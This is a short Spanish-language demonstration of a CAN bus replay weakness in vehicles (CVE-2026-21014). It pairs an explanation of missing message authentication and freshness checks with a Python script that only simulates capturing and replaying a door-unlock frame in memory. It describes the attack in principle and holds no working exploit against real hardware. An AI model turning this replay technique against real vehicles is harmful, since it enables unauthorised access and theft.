
Reproduce tramas capturadas del bus CAN para demostrar CVE-2026-21014, mostrando cómo la ausencia de autenticación y de comprobaciones de frescura permite acciones no autorizadas en las ECU automotrices.
# can_replay_sim.py - Simulates CAN bus replay
import time
can_messages = []
def send_can(msg_id, data):
print(f"CAN {msg_id:#x}: {data.hex()}")
can_messages.append((msg_id, data))
def receive_can():
return can_messages[-1] if can_messages else None
# Simulate car sending "door unlock" command
send_can(0x100, b'\x01\x00\x00\x00') # unlock
# Attacker replays captured frame
time.sleep(1)
captured = receive_can()
if captured:
print("Replaying captured frame...")
send_can(captured[0], captured[1])
Una red de área de controlador (CAN) de un vehículo no implementa autenticación de mensajes ni comprobaciones de frescura. Un atacante con acceso físico al puerto OBD‑II puede capturar una trama legítima (p. ej., desbloqueo de puerta) y reproducirla más tarde para realizar acciones no autorizadas.
Ejecute la simulación:
python can_replay_sim.py
El script imprime la captura y el replay de un comando de desbloqueo.